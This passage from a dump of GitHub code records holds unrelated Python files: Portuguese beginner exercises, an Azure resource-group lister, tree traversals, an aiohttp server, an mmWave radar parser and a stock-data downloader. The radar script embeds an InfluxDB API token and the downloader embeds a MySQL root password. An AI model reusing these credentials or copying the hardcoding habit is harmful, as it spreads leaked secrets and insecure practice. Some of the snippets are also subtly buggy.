print(f\"{maior} são maiores de idade.\")\n\ndef ex54Prof():\n from datetime import date\n atual = date.today().year\n totmaior = 0\n totmenor = 0\n for pess in range(1,8):\n nasc = int(input(f\"Em que ano a pessoa {pess} nasceu? \"))\n idade = atual - nasc\n if idade >= 18:\n totmaior += 1\n else:\n totmenor += 1\n print(f\"Ao todo tivemos {totmaior} pessoas maiores de idade.\")\n print(f\"E também tivemos {totmenor} pessoas menores de idade.\")\n\ndef ex55():\n maior = 0\n menor = 1000000000\n for x in range(0,5):\n y = int(input(\"Digite o peso: \"))\n if y > maior:\n maior = y\n elif y < menor:\n menor = y\n print(f\"O mais pesado é {maior}kg e o menor é {menor}kg.\")\n\ndef ex55Prof():\n maior = 0\n menor = 0\n for p in range(1,6):\n peso = float(input(f\"Digite o peso da pessoa {p}: \"))\n if p == 1:\n maior = peso\n menor = peso\n else:\n if peso > maior:\n maior = peso\n if peso < menor:\n menor = peso\n print(f\"O maior peso lido foi de {maior:.2f}Kg.\")\n print(f\"O menor peso lido foi de {menor:.2f}Kg.\")\n\ndef ex56():\n nome = ''\n idade = 0\n sexo = ''\n mediaIdade = 0\n velho = 0\n homemVelho = ''\n mulheresMenos = 0\n\n for x in range(0,4):\n nome = input(\"Digite o nome: \")\n idade = int(input(\"Digite a idade: \"))\n sexo = input(\"Digite F para feminino ou M para masculino: \").upper()\n mediaIdade += idade\n if sexo == 'F' and idade < 20:\n mulheresMenos += 1\n if sexo == 'M':\n if idade > velho:\n velho = idade\n homemVelho = nome\n print(f\"A média das idades é igual a {mediaIdade/4:.0f}\")\n if velho > 0:\n print(f\"O nome do homem mais velho é {homemVelho}\")\n else:\n print(f\"Não há homens.\")\n if mulheresMenos > 0:\n print(f\"{mulheresMenos} mulheres têm menos de 20 anos.\")\n else:\n print(f\"Não há mulheres com menos de 20 anos.\")\n\ndef ex56Prof():\n somaidade = 0\n mediaidade = 0\n maioridadehomem = 0\n nomevelho = 0\n totmulher20 = 0\n for p in range(1,5):\n print(f\"----- {p}ª PESSOA -----\")\n nome = input(\"Nome: \").strip()\n idade = int(input(\"Idade: \"))\n sexo = input(\"Sexo (M/F): \")\n somaidade += idade\n if p == 1 and sexo in \"Mm\":\n maioridadehomem = idade\n nomevelho = nome\n if sexo in \"Mm\" and idade > maioridadehomem:\n maioridadehomem = idade\n nomevelho = nome\n if sexo in \"Ff\" and idade < 20:\n totmulher20 += 1\n mediaidade = somaidade/4\n print(f\"A média de idade do grupo é igual a {mediaidade}.\")\n print(f\"O homem mais velho tem {maioridadehomem} e se chama {nomevelho}.\")\n print(f\"Ao todo são {totmulher20} mulheres com menos de 20 anos.\")\n\ndef ex57():\n x = \"\"\n while x != \"M\" and x != \"F\":\n x = input(\"Digite M ou F: \").upper()\n print(\"FOI\")\n\ndef ex57Prof():\n sexo = str(input(\"Informe o seu sexo: [M/F] \")).strip().upper()[0]\n while sexo not in 'MmFf':\n sexo = str(input(\"Dados inválidos. Por favor, informe seu sexo: [M/F]\")).strip().upper()\n print(f\"Sexo {sexo} registrado com sucesso.\")\n\ndef ex58():\n from random import randint\n import time\n\n ganhou = False\n while not ganhou:\n print(\"-=-\" * 5 + \" PROCESSANDO \" + \"-=-\" * 5)\n ia = randint(0, 5)\n n = int(input(\"Chute um número de 0 a 5: \"))\n time.sleep(3)\n print(f\"O número sorteado foi {ia}. \", end='')\n if ia == n:\n print(\"Parabéns você acertou!\")\n ganhou = True\n else:\n print(\"Você errou, tente de novo.\")\n\ndef ex58Prof():\n from random import randint\n computador = randint(0,10)\n print(\"Adivinhe o número de 0 a 10.\")\n acertou = False\n palpites = 0\n while not acertou:\n jogador = int(input(\"Digite o seu palpite: \"))\n palpites += 1\n if jogador == computador:\n acertou = True\n else:\n if jogador < computador:\n print(\"Mais... Tente novamente.\")\n elif jogador > computador:\n print(\"Menos... Tente novamente.\")\n print(f\"Acertou com {palpites} tentativas. Parabéns.\")\n\ndef ex59():\n sair = False\n while sair == False:\n n1 = int(input(\"Digite o primeiro número: \"))\n n2 = int(input(\"Digite o segundo número: \"))\n oper = int(input(\"Digite o código da operação:\\n[1] somar\\n[2]multiplicar\\n[3]mostrar o maior\\n[4]começar de novo\\n[5]sair\\n\"))\n if oper == 1:\n print(f\"{n1} + {n2} = {n1 + n2}\")\n if oper == 2:\n print(f\"{n1} x {n2} = {n1 * n2}\")\n if oper == 3:\n if n1 > n2:\n n3 = str(n1)\n elif n2 > n1:\n n3 = str(n2)\n else:\n n3 = \"São iguais\"\n print(f\"{n3} é o maior entre {n1} e {n2}\")\n if oper == 4:\n pass\n if oper == 5:\n sair = True\n\ndef ex59Prof():\n n1 = int(input(\"Primeiro valor: \"))\n n2 = int(input(\"Segundo valor: \"))\n opcao = 0\n while opcao != 5:\n print(\"[1] somar\\n[2] multiplicar\\n[3] mostrar o maior\\n[4] começar de novo\\n[5] sair\")\n opcao = int(input(\">>>>> Qual a sua opção? \"))\n if opcao == 1:\n soma = n1 + n2\n print(f\"A soma entre {n1} + {n2} é {soma}\")\n elif opcao == 2:\n produto = n1 * n2\n print(f\"A multiplicação de {n1} x {n2} é {produto}\")\n elif opcao == 3:\n if n1 > n2:\n maior = n1\n else:\n maior = n2\n print(f\"Entre {n1} e {n2}, o maior valor é {maior}\")\n elif opcao == 4:\n print(\"Informe os números novamente.\")\n n1 = int(input(\"Primeiro valor: \"))\n n2 = int(input(\"Segundo valor: \"))\n elif opcao == 5:\n print(\"Finalizando...\")\n else:\n print(\"Opção inválida. Tente novamente.\")\n print(\"=-=\" * 10)\n print(\"Fim do programa!\")\n\ndef ex60():\n x = int(input(\"Digite um número: \"))\n y = x\n print(f\"{x}! = \", end='')\n while x > 1:\n print(f\"{x}*\",end='')\n x -= 1\n y *= x\n print(f\"1 = {y}\")\n\ndef ex60Prof():\n n = int(input(\"Digite um número para calcular seu fatorial: \"))\n c = n\n f = 1\n print(f\"Calculando {n}! = \", end='')\n while c > 0:\n print(f\"{c}\", end='')\n print(\" x \" if c > 1 else \" = \", end='')\n f *= c\n c -= 1\n print(f\"{f}\")\n","repo_name":"GabrielMendesM/CursoEmVideo-Python","sub_path":"Exercicios/ex051_060.py","file_name":"ex051_060.py","file_ext":"py","file_size_in_byte":8995,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"81378612","text":"# Import the needed credential and management objects from the libraries.\nfrom azure.identity import AzureCliCredential\nfrom azure.mgmt.resource import ResourceManagementClient\nimport os\n\n# Acquire a credential object using CLI-based authentication.\ncredential = AzureCliCredential()\n\n# Retrieve subscription ID from environment variable.\nsubscription_id = os.environ[\"AZURE_SUBSCRIPTION_ID\"]\n\n# Obtain the management object for resources.\nresource_client = ResourceManagementClient(credential, subscription_id)\n\n# Retrieve the list of resource groups\ngroup_list = resource_client.resource_groups.list()\n\n# Show the groups in formatted output\ncolumn_width = 40\n\nprint(\"Resource Group\".ljust(column_width) + \"Location\")\nprint(\"-\" * (column_width * 2))\n\nfor group in list(group_list):\n print(f\"{group.name:<{column_width}}{group.location}\")\n","repo_name":"MicrosoftDocs/python-sdk-docs-examples","sub_path":"resource_group/list_groups.py","file_name":"list_groups.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"22419864745","text":"\"\"\"\nGiven the root of a binary tree, return the inorder traversal of its nodes' values.\nInorder (Left -> Root -> Right)\n\nPreorder (root -> left -> right)\n\n\n\nAlgorithm Inorder(tree)\n 1. Traverse the left subtree, i.e., call Inorder(left-subtree)\n 2. Visit the root.\n 3. Traverse the right subtree, i.e., call Inorder(right-subtree)\n\n\nA complete discuss about inOrder, PreOrder, PostOrder is given in:\nhttps://leetcode.com/problems/binary-tree-inorder-traversal/discuss/713539/Python-3-All-Iterative-Traversals-InOrder-PreOrder-PostOrder-Similar-Solutions\n\n\"\"\"\n\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Solution:\n def inorderTraversal(self, root): # recursively\n res = []\n self.helper(root, res)\n return res\n\n def helper(self, root, res):\n if root:\n self.helper(root.left, res)\n res.append(root.val)\n self.helper(root.right, res)\n\n # Complexity Analysis\n #\n # Time complexity : O(n). The time complexity is O(n) because the recursive function is\n # T(n) = 2 T(n/2)+1T(n)=2⋅T(n/2)+1.\n #\n # Space complexity : The worst case space required is O(n), and in the average case it's O(logn)\n # where n is number of nodes.\n\n # # iteratively\n def inorderTraversal_1(self, root):\n res, stack = [], []\n while stack or root:\n if root: # travel to each node's left child, till reach the leftmost leaf\n stack.append(root)\n root = root.left\n\n # this node has no left child\n else:\n tmpNode = stack.pop()\n\n # so let's append the node value\n res.append(tmpNode.val)\n\n # visit its right child --> if it has left child ?\n # append left and left.val, otherwise append node.val, then visit right child again... cur = node.right\n root = tmpNode.right\n return res\n\n #\n # Time complexity : O(n)O(n).\n #\n # Space complexity : O(n)O(n).\n\n def inorderTraversal_2(self, root):\n stack = [(False, root)]\n res = []\n while stack:\n visited, node = stack.pop()\n if node:\n # In the loop: If we get a node with flag false, we add children in correct order and set them to false.\n # because they have to be processed (for their children). And we set flag of current node to true.\n\n if not visited: # in inOrder, the order should be: left -> root -> right\n stack.append((False, node.right))\n stack.append((True, node))\n stack.append((False, node.left))\n\n # If we get node with flag set to true we simply print its value (add to acc).\n else:\n res.append(node.val)\n return res\n\n # In PostOrder, the order should be:\n # left -> right -> root\n def postOrderTraversal(self, root):\n \"\"\"\n :param root: TreeNode\n :return: List[int]\n \"\"\"\n res, stack = [], [(root, False)]\n while stack:\n node, visited = stack.pop() # the last element\n if node:\n if visited:\n res.append(node.val)\n else: # postorder: left -> right -> root\n stack.append((node, True))\n stack.append((node.right, False))\n stack.append((node.left, False))\n return res\n\n # In preOrder, the order should be: root -> left -> right\n def preOrderTraversal(self, root):\n \"\"\"\n :param root: TreeNode\n :return: List[int]\n \"\"\"\n res, stack = [], [(root, False)]\n while stack:\n node, visited = stack.pop() # the last element\n if node:\n if visited:\n res.append(node.val)\n else: # preOrder: root -> left -> right\n stack.append((node.right, False))\n stack.append((node.left, False))\n stack.append((node, True))\n return res\n\n\n","repo_name":"Movahe/Leetcode-problems-sovled","sub_path":"94 Binary Tree inorder Traversal.py","file_name":"94 Binary Tree inorder Traversal.py","file_ext":"py","file_size_in_byte":4211,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"19225110536","text":"__author__ = 'cpys'\n\n'''\nasync web application.\n'''\n\nimport logging;\nimport sys\n\nlogging.basicConfig(level=logging.INFO)\n\nimport asyncio, os, json, time\nfrom datetime import datetime\n\nfrom aiohttp import web\n\n\ndef index(request):\n return web.Response(body=b'

    Awesome

    ', headers={'content-type': 'text/html'})\n\n\nasync def init(loop):\n app = web.Application(loop=loop)\n app.router.add_route('GET', '/', index)\n srv = await loop.create_server(app.make_handler(), '127.0.0.1', 9000)\n logging.info('server started at http://127.0.0.1:9000...')\n return srv\n\n@asyncio.coroutine\ndef init2(loop):\n app = web.Application(loop=loop)\n app.router.add_route('GET', '/', index)\n srv = yield from loop.create_server(app.make_handler(), '127.0.0.1', 9000)\n logging.info('server started at http://127.0.0.1:9000...')\n return srv\n\n# sys.path.append('/Users/cpy/PycharmProjects/FirWepApp/')\nprint(sys.path)\nloop = asyncio.get_event_loop()\nloop.run_in_executor(init2(loop))\nloop.run_forever()\n","repo_name":"PykeChen/FireMiniWeb","sub_path":"www/apps.py","file_name":"apps.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12372112352","text":"import serial\nimport time\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\nimport influxdb_client, os, time\nfrom influxdb_client import InfluxDBClient, Point, WritePrecision, WriteOptions\nfrom influxdb_client.client.write_api import SYNCHRONOUS\nfrom flightsql import FlightSQLClient\n\nfrom datetime import datetime\n\n\n# Grafana http://localhost:3000/\n# influxdb http://localhost:8086/\n\n# ------------------------------------------------------------------\n\n# Function to configure the serial ports and send the data from\n# the configuration file to the radar\ndef serialConfig(configFileName):\n global CLIport, Dataport\n\n # Open the serial ports for the configuration and the data ports\n\n # Note which system we're using. \n # David: Linux\n # Richa: Windows\n \n # Linux\n CLIport = serial.Serial('/dev/ttyACM0', 115200)\n Dataport = serial.Serial('/dev/ttyACM1', 921600)\n \n # Windows\n # CLIport = serial.Serial('COM14', 115200)\n # Dataport = serial.Serial('COM15', 921600)\n\n # Read the configuration file and send it to the board\n # This will boot the board into the mode that it needs to run\n config = [line.rstrip('\\r\\n') for line in open(configFileName)]\n for i in config:\n CLIport.write((i+'\\n').encode())\n print(i)\n time.sleep(0.01)\n \n return CLIport, Dataport\n\n# ------------------------------------------------------------------\n\n# Function to parse the data inside the configuration file\ndef parseConfigFile(configFileName):\n configParameters = {} # Initialize an empty dictionary to store the configuration parameters\n \n # Read the configuration file and send it to the board\n config = [line.rstrip('\\r\\n') for line in open(configFileName)]\n for i in config:\n \n # Split the line\n splitWords = i.split(\" \")\n \n # Hard code the number of antennas, change if other configuration is used\n # We don't have to change this; that's the number for AWR1843Boost\n numRxAnt = 4\n numTxAnt = 3\n \n # Get the information about the profile configuration\n # Don't need to worry about this; happens automatically, and is tweaked via changing the .cfg\n if \"profileCfg\" in splitWords[0]:\n startFreq = int(float(splitWords[2]))\n idleTime = int(splitWords[3])\n rampEndTime = float(splitWords[5])\n freqSlopeConst = float(splitWords[8])\n numAdcSamples = int(splitWords[10])\n numAdcSamplesRoundTo2 = 1\n \n while numAdcSamples > numAdcSamplesRoundTo2:\n numAdcSamplesRoundTo2 = numAdcSamplesRoundTo2 * 2\n \n digOutSampleRate = int(splitWords[11])\n \n # Get the information about the frame configuration \n # Same here; don't have to worry about it \n elif \"frameCfg\" in splitWords[0]:\n \n chirpStartIdx = int(splitWords[1])\n chirpEndIdx = int(splitWords[2])\n numLoops = int(splitWords[3])\n numFrames = int(splitWords[4])\n framePeriodicity = float(splitWords[5])\n\n \n # Combine the read data to obtain the configuration parameters \n numChirpsPerFrame = (chirpEndIdx - chirpStartIdx + 1) * numLoops\n configParameters[\"numDopplerBins\"] = numChirpsPerFrame // numTxAnt\n configParameters[\"numRangeBins\"] = numAdcSamplesRoundTo2\n configParameters[\"rangeResolutionMeters\"] = (3e8 * digOutSampleRate * 1e3) / (2 * freqSlopeConst * 1e12 * numAdcSamples)\n configParameters[\"rangeIdxToMeters\"] = (3e8 * digOutSampleRate * 1e3) / (2 * freqSlopeConst * 1e12 * configParameters[\"numRangeBins\"])\n configParameters[\"dopplerResolutionMps\"] = 3e8 / (2 * startFreq * 1e9 * (idleTime + rampEndTime) * 1e-6 * configParameters[\"numDopplerBins\"] * numTxAnt)\n configParameters[\"maxRange\"] = (300 * 0.9 * digOutSampleRate)/(2 * freqSlopeConst * 1e3)\n configParameters[\"maxVelocity\"] = 3e8 / (4 * startFreq * 1e9 * (idleTime + rampEndTime) * 1e-6 * numTxAnt)\n \n return configParameters\n \n# ------------------------------------------------------------------\n\n# Funtion to read and parse the incoming data\n# Kinda disgusting parsing, but it works and doesn't require any updating so all good!!!\ndef readAndParseData18xx(Dataport, configParameters):\n global byteBufferLength, byteBuffer\n \n # Constants\n OBJ_STRUCT_SIZE_BYTES = 12\n BYTE_VEC_ACC_MAX_SIZE = 2**15\n MMWDEMO_UART_MSG_DETECTED_POINTS = 1\n MMWDEMO_UART_MSG_RANGE_PROFILE = 2\n MMWDEMO_OUTPUT_MSG_NOISE_PROFILE = 3\n MMWDEMO_OUTPUT_MSG_AZIMUT_STATIC_HEAT_MAP = 4\n MMWDEMO_OUTPUT_MSG_RANGE_DOPPLER_HEAT_MAP = 5\n maxBufferSize = 2**15\n tlvHeaderLengthInBytes = 8\n pointLengthInBytes = 16\n magicWord = [2, 1, 4, 3, 6, 5, 8, 7]\n \n # Initialize variables\n magicOK = 0 # Checks if magic number has been read\n dataOK = 0 # Checks if the data has been read correctly\n frameNumber = 0\n detObj = {}\n \n readBuffer = Dataport.read(Dataport.in_waiting)\n byteVec = np.frombuffer(readBuffer, dtype = 'uint8')\n byteCount = len(byteVec)\n \n # Check that the buffer is not full, and then add the data to the buffer\n if (byteBufferLength + byteCount) < maxBufferSize:\n byteBuffer[byteBufferLength:byteBufferLength + byteCount] = byteVec[:byteCount]\n byteBufferLength = byteBufferLength + byteCount\n \n # Check that the buffer has some data\n if byteBufferLength > 16:\n \n # Check for all possible locations of the magic word\n possibleLocs = np.where(byteBuffer == magicWord[0])[0]\n\n # Confirm that is the beginning of the magic word and store the index in startIdx\n startIdx = []\n for loc in possibleLocs:\n check = byteBuffer[loc:loc+8]\n if np.all(check == magicWord):\n startIdx.append(loc)\n \n # Check that startIdx is not empty\n if startIdx:\n \n # Remove the data before the first start index\n if startIdx[0] > 0 and startIdx[0] < byteBufferLength:\n byteBuffer[:byteBufferLength-startIdx[0]] = byteBuffer[startIdx[0]:byteBufferLength]\n byteBuffer[byteBufferLength-startIdx[0]:] = np.zeros(len(byteBuffer[byteBufferLength-startIdx[0]:]),dtype = 'uint8')\n byteBufferLength = byteBufferLength - startIdx[0]\n \n # Check that there have no errors with the byte buffer length\n if byteBufferLength < 0:\n byteBufferLength = 0\n \n # word array to convert 4 bytes to a 32 bit number\n word = [1, 2**8, 2**16, 2**24]\n \n # Read the total packet length\n totalPacketLen = np.matmul(byteBuffer[12:12+4],word)\n \n # Check that all the packet has been read\n if (byteBufferLength >= totalPacketLen) and (byteBufferLength != 0):\n magicOK = 1\n \n # If magicOK is equal to 1 then process the message\n if magicOK:\n # word array to convert 4 bytes to a 32 bit number\n word = [1, 2**8, 2**16, 2**24]\n \n # Initialize the pointer index\n idX = 0\n \n # Read the header\n magicNumber = byteBuffer[idX:idX+8]\n idX += 8\n version = format(np.matmul(byteBuffer[idX:idX+4],word),'x')\n idX += 4\n totalPacketLen = np.matmul(byteBuffer[idX:idX+4],word)\n idX += 4\n platform = format(np.matmul(byteBuffer[idX:idX+4],word),'x')\n idX += 4\n frameNumber = np.matmul(byteBuffer[idX:idX+4],word)\n idX += 4\n timeCpuCycles = np.matmul(byteBuffer[idX:idX+4],word)\n idX += 4\n numDetectedObj = np.matmul(byteBuffer[idX:idX+4],word)\n idX += 4\n numTLVs = np.matmul(byteBuffer[idX:idX+4],word)\n idX += 4\n subFrameNumber = np.matmul(byteBuffer[idX:idX+4],word)\n idX += 4\n\n # Read the TLV messages\n for tlvIdx in range(numTLVs):\n \n # word array to convert 4 bytes to a 32 bit number\n word = [1, 2**8, 2**16, 2**24]\n\n # Check the header of the TLV message\n tlv_type = np.matmul(byteBuffer[idX:idX+4],word)\n idX += 4\n tlv_length = np.matmul(byteBuffer[idX:idX+4],word)\n idX += 4\n\n # Read the data depending on the TLV message\n if tlv_type == MMWDEMO_UART_MSG_DETECTED_POINTS:\n\n # Initialize the arrays\n x = np.zeros(numDetectedObj,dtype=np.float32)\n y = np.zeros(numDetectedObj,dtype=np.float32)\n z = np.zeros(numDetectedObj,dtype=np.float32)\n velocity = np.zeros(numDetectedObj,dtype=np.float32)\n \n for objectNum in range(numDetectedObj):\n # entry = {}\n \n # Read the data for each object\n x[objectNum] = byteBuffer[idX:idX + 4].view(dtype=np.float32)\n idX += 4\n y[objectNum] = byteBuffer[idX:idX + 4].view(dtype=np.float32)\n idX += 4\n z[objectNum] = byteBuffer[idX:idX + 4].view(dtype=np.float32)\n idX += 4\n velocity[objectNum] = byteBuffer[idX:idX + 4].view(dtype=np.float32)\n idX += 4\n\n # if((time.time() - start_time) > 1):\n # Store another value within testData. This will only store a max of ten values\n if(count < MAX_CSVS):\n entry = pd.Series({\"X\":x[objectNum], \"Y\":y[objectNum] , \"Z\":z[objectNum] , \"Velocity\": velocity[objectNum]})\n testData.loc[len(testData)] = entry\n print(testData)\n # count+=1\n # start_time = time.time()\n # entry = pd.DataFrame([x[objectNum], y[objectNum],z[objectNum],velocity[objectNum]],\n # columns = ['X','Y','Z','Velocity'])\n \n # Store the data in the detObj dictionary\n detObj = {\"numObj\": numDetectedObj, \"x\": x, \"y\": y, \"z\": z, \"velocity\":velocity}\n \n dataOK = 1\n\n elif tlv_type == MMWDEMO_OUTPUT_MSG_RANGE_DOPPLER_HEAT_MAP:\n\n # Get the number of bytes to read\n numBytes = 2*configParameters[\"numRangeBins\"]*configParameters[\"numDopplerBins\"]\n\n # Convert the raw data to int16 array\n payload = byteBuffer[idX:idX + numBytes]\n idX += numBytes\n rangeDoppler = payload.view(dtype=np.int16)\n\n # Some frames have strange values, skip those frames\n # TO DO: Find why those strange frames happen\n if np.max(rangeDoppler) > 10000:\n continue\n\n # Convert the range doppler array to a matrix\n rangeDoppler = np.reshape(rangeDoppler, (configParameters[\"numDopplerBins\"], configParameters[\"numRangeBins\"]),'F') #Fortran-like reshape\n rangeDoppler = np.append(rangeDoppler[int(len(rangeDoppler)/2):], rangeDoppler[:int(len(rangeDoppler)/2)], axis=0)\n\n # Generate the range and doppler arrays for the plot\n rangeArray = np.array(range(configParameters[\"numRangeBins\"]))*configParameters[\"rangeIdxToMeters\"]\n dopplerArray = np.multiply(np.arange(-configParameters[\"numDopplerBins\"]/2 , configParameters[\"numDopplerBins\"]/2), configParameters[\"dopplerResolutionMps\"])\n \n plt.clf()\n cs = plt.contourf(rangeArray,dopplerArray,rangeDoppler)\n fig.colorbar(cs, shrink=0.9)\n fig.canvas.draw()\n plt.pause(0.1)\n \n # Remove already processed data\n if idX > 0 and byteBufferLength>idX:\n shiftSize = totalPacketLen\n \n byteBuffer[:byteBufferLength - shiftSize] = byteBuffer[shiftSize:byteBufferLength]\n byteBuffer[byteBufferLength - shiftSize:] = np.zeros(len(byteBuffer[byteBufferLength - shiftSize:]),dtype = 'uint8')\n byteBufferLength = byteBufferLength - shiftSize\n \n # Check that there are no errors with the buffer length\n if byteBufferLength < 0:\n byteBufferLength = 0 \n\n return dataOK, frameNumber, detObj\n\n# ------------------------- MAIN ----------------------------------------- \n\n# Don't know who taught these guys about code style. But hey.\n\nif __name__==\"__main__\":\n\n MAX_CSVS = 10\n WRITE_GAP = 1\n\n token = \"whl_f4m7pZbnLdO6KHYmNFjFdJaGimywqZXMezcOCwFcwJyUOW0nomnbHXzMdrxf3TeKOGbzpUW4B2rDXgUu5Q==\"\n org = \"csse4011\"\n url = \"http://localhost:8086\"\n\n bucket=\"Demo_data\"\n\n write_client = influxdb_client.InfluxDBClient(url=url, token=token, org=org, debug=False)\n\n write_api = write_client.write_api(write_options=SYNCHRONOUS)\n\n duration = 2\n start_time_csv = 0\n start_time_db = 0\n # Change the configuration file name\n configFileName = 'test_2_best_velocity_res_5m.cfg'\n count = 0\n\n # RX buffers in dictionary format\n CLIport = {}\n Dataport = {}\n\n # Input buffers for reading into port dicts\n byteBuffer = np.zeros(2**15,dtype = 'uint8')\n byteBufferLength = 0\n\n # = pd.DataFrame(columns = ['X', 'Y','Z','Velocity'])\n testData = pd.DataFrame({'X': 0, 'Y': 0, 'Z': 0,'Velocity': 2}, index=[0])\n # testData = pd.DataFrame([0,0,0,0],columns = ['X', 'Y','Z','Velocity'])\n\n # Configurate the serial port\n CLIport, Dataport = serialConfig(configFileName)\n\n # Get the configuration parameters from the configuration file\n configParameters = parseConfigFile(configFileName)\n\n start_time = time.time()\n\n # Main loop \n detObj = {} \n frameData = {} \n currentIndex = 0\n fig = plt.figure()\n\n # So this is all well and good. Just have to figure out where all the outputs go now\n while True:\n try:\n dataOk, frameNumber, detObj = readAndParseData18xx(Dataport, configParameters)\n # print(detObj)\n if dataOk:\n # Store the current frame into frameData\n frameData[currentIndex] = detObj\n currentIndex += 1\n\n # Does the writing every 1.5 seconds\n if((time.time() - start_time) > WRITE_GAP):\n\n if(count < MAX_CSVS):\n # Richa has this for testing purposes; can eventually remove\n testData.to_csv(\"David_testing_csvs/Data_{0}.csv\".format(count))\n #Reset Data frame\n testData = pd.DataFrame({'X': 0, 'Y': 0, 'Z': 0,'Velocity': 2}, index=[0])\n count+=1\n\n\n # This is where we write the field positioning over to influxdb\n # This is only going to be useful once we have clustering algorithms\n # point = (\n # Point(\"Position\")\n # .field(\"X\", 0)\n # .field(\"Y\", 0)\n # .field(\"Z\", 0)\n # .field(\"Velocity\", 1)\n # )\n # write_api.write(bucket=bucket, org=\"csse4011\", record=point)\n\n start_time = time.time()\n\n # Stop the program and close everything if Ctrl + c is pressed\n except KeyboardInterrupt:\n CLIport.write(('sensorStop\\n').encode())\n CLIport.close()\n Dataport.close()\n break\n \n \n\n\n\n\n\n","repo_name":"Gaulgeous/Movement_Detector","sub_path":"occupancy_detector/range-dopplerHeatmap_SDK3 (2).py","file_name":"range-dopplerHeatmap_SDK3 (2).py","file_ext":"py","file_size_in_byte":15788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12917558186","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\n#from unittest import TestCase\nimport time\n\nimport pymysql\nfrom good_morning import good_morning as gm\n\nDB_HOST = 'localhost'\nDB_PORT = 3306\nDB_USER = 'root'\nDB_PASS = 'A1234567'\nDB_NAME = 'ms_financials_db'\n\nconn = pymysql.connect(host=DB_HOST, port=DB_PORT, user=DB_USER, passwd=DB_PASS, db=DB_NAME)\n\nkr = gm.KeyRatiosDownloader()\nfd = gm.FinancialsDownloader()\n\n#class TestDownloadReturns(TestCase):\n#class TestDownloadReturns():\ndef vaid_shenzhen_ticker_yielder():\n for i in range(1000001,1011980):\n yield str(i)[1:]\n\ndef vaid_techboard_ticker_yielder():\n for i in range(1300001,1301000):\n yield str(i)[1:]\n \ndef vaid_b_ticker_yielder():\n #for i in range(1200002,1201000):\n for i in range(1201000,1202000):\n yield str(i)[1:]\n\ndef vaid_shanghai_ticker_yielder():\n# for i in range(1600001,1603000):\n for i in range(1601010,1603000):\n yield str(i)[1:]\n \n#def vaid_hk_ticker_yielder():\n# for i in range(100001,199999):\n# yield str(i)[1:]\n \ndef vaid_hk_ticker_yielder():\n for i in range(103613,103614):\n yield 'XHKG:'+str(i)[1:]\n \nhigh_roe_15_dic={}\n#vaid_shenzhen_ticker_yielder(),\n#vaid_techboard_ticker_yielder(),\n#need to add b ticker\n#vaid_shanghai_ticker_yielder()\ndef test_download():\n for yielder in [ vaid_hk_ticker_yielder()]:\n for ticker in yielder: \n try:\n kr_frames = kr.download(ticker)\n mean_roe = kr_frames[2].loc['Return on Equity %'].mean()\n print(high_roe_15_dic)\n print(f'processed {ticker}')\n #print(kr_frames[2])\n if(mean_roe >1):\n high_roe_15_dic[ticker] = mean_roe\n print(f'{ticker} has mean_roe {mean_roe}') \n kr.download(ticker, conn)\n time.sleep(1)\n fd.download(ticker, conn)\n time.sleep(1)\n print(' ... success')\n except Exception as e:\n print(' ... failed', e)\n #print(high_roe_15_dic) \n\n\ntest_download()\n\n\n","repo_name":"ForrestLi/HKChinaFundamentalFinancialDataAnalysis","sub_path":"good-morning-master/tests/test_download.py","file_name":"test_download.py","file_ext":"py","file_size_in_byte":2125,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"40898090757","text":"def lecture10():\n #Statistics meets Experimental Data\n import matplotlib.pyplot as plt\n import numpy, pandas, random\n def genNoisyParabolicData(a, b, c, xVals, fName):\n yVals = []\n for x in xVals:\n theorticalVal = a*x**2 + b*x + c\n yVals.append(theorticalVal+random.gauss(0, 35))\n f = open(fName, \"w\")\n f.write('x y\\n')\n for i in range(len(yVals)):\n f.write(str(yVals[i]) + ',' +str(xVals[i]) + '\\n')\n f.close()\n \n xVals = range(-10, 11, 1)\n a, b, c = 3.0, 0.0, 0.0\n\n random.seed(0)\n genNoisyParabolicData(a, b, c, xVals, 'Dataset1.txt')\n genNoisyParabolicData(a, b, c, xVals, 'Dataset2.txt')\n #Data Generations is complete\n\n #Model Testing\n def rSquared(observed, predicted):\n error = ((predicted - observed)**2).sum()\n meanError = error/len(observed)\n return 1-(meanError/numpy.var(observed))\n \n def getData(fileName):\n dataFile = open(fileName, 'r')\n distances = []\n masses = []\n dataFile.readline() #reading the first line and discard it\n for line in dataFile:\n d, m = line.split(',')\n distances.append(float(d))\n masses.append(float(m))\n dataFile.close()\n return (masses, distances)\n\n def genFits(xVals, yVals, degrees):\n models = []\n for d in degrees:\n model = numpy.polyfit(xVals, yVals, d)\n models.append(model)\n return models\n\n def testFits(models, degrees, xVals, yVals, title):\n plt.plot(xVals, yVals, 'o', label = 'Data')\n for i in range(len(models)):\n estYVals = numpy.polyval(models[i], xVals)\n error = rSquared(yVals, estYVals)\n plt.plot(xVals, estYVals,\n label = 'Fit of degree '\\\n + str(degrees[i])\\\n + ', R2 = ' + str(round(error, 5)))\n plt.legend(loc = 'best')\n plt.title(title)\n \n \n degrees = (2, 3, 4, 8, 16)\n xVals1, yVals1 = getData('Dataset1.txt')\n models1 = genFits(xVals1, yVals1, degrees)\n testFits(models1, degrees, xVals1, yVals1, 'Dataset1.txt')\n plt.figure()\n xVals2, yVals2 = getData('Dataset2.txt')\n models2 = genFits(xVals2, yVals2, degrees)\n testFits(models2, degrees, xVals2, yVals2, 'Dataset2.txt')\n #The overfitting that we just saw is generated from the training error\n #Small training error a necessary condition for a great, scalable model\n #We want model to work well on other data generated by the same process\n\n #Cross Validate Use models for Dataset 1 to predict Dataset2 and vice versa\n plt.figure()\n testFits(models1, degrees, xVals2, yVals2, 'DataSet 2/Model 1')\n plt.figure()\n testFits(models2, degrees, xVals1, yVals1, 'Dataset 1/Model 2')\n 